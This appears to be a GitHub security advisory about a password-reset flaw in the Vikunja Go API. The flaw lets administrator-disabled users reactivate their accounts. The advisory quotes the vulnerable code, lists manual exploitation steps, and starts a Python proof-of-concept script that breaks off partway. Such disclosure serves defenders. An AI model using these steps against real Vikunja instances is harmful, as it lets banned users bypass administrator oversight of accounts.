GitHub Security Advisory: GHSA-vq4q-79hh-q767
Package: code.vikunja.io/api (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control, CWE-862: Missing Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: <= 2.1.0
Patched in: unpatched

Summary: Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement 

Details:
### Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

#### Vulnerable Code Snippet

In `pkg/user/user_password_reset.go`, beginning at line 66:

```go
	// Hash the password
	user.Password, err = HashPassword(reset.NewPassword)
	if err != nil {
		return
	}

	err = removeTokens(s, user, TokenPasswordReset)
	if err != nil {
		return
	}

	user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
	_, err = s.
		Cols("password", "status").
		Where("id = ?", user.ID).
		Update(user)
	if err != nil {
		return
	}
```

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator.
Additionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place.

### PoC (Proof of Concept)

#### Manual Exploitation Steps

1. Create a standard user account in Vikunja.
2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`).
3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`).
4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user's email address.
5. Retrieve the password reset token from the incoming email.
6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password.
7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated.

#### Automation PoC

```python
import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    [CREDENTIAL_REDACTED]"
    
    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})
    
    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", [CREDENTIAL_REDACTED]_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (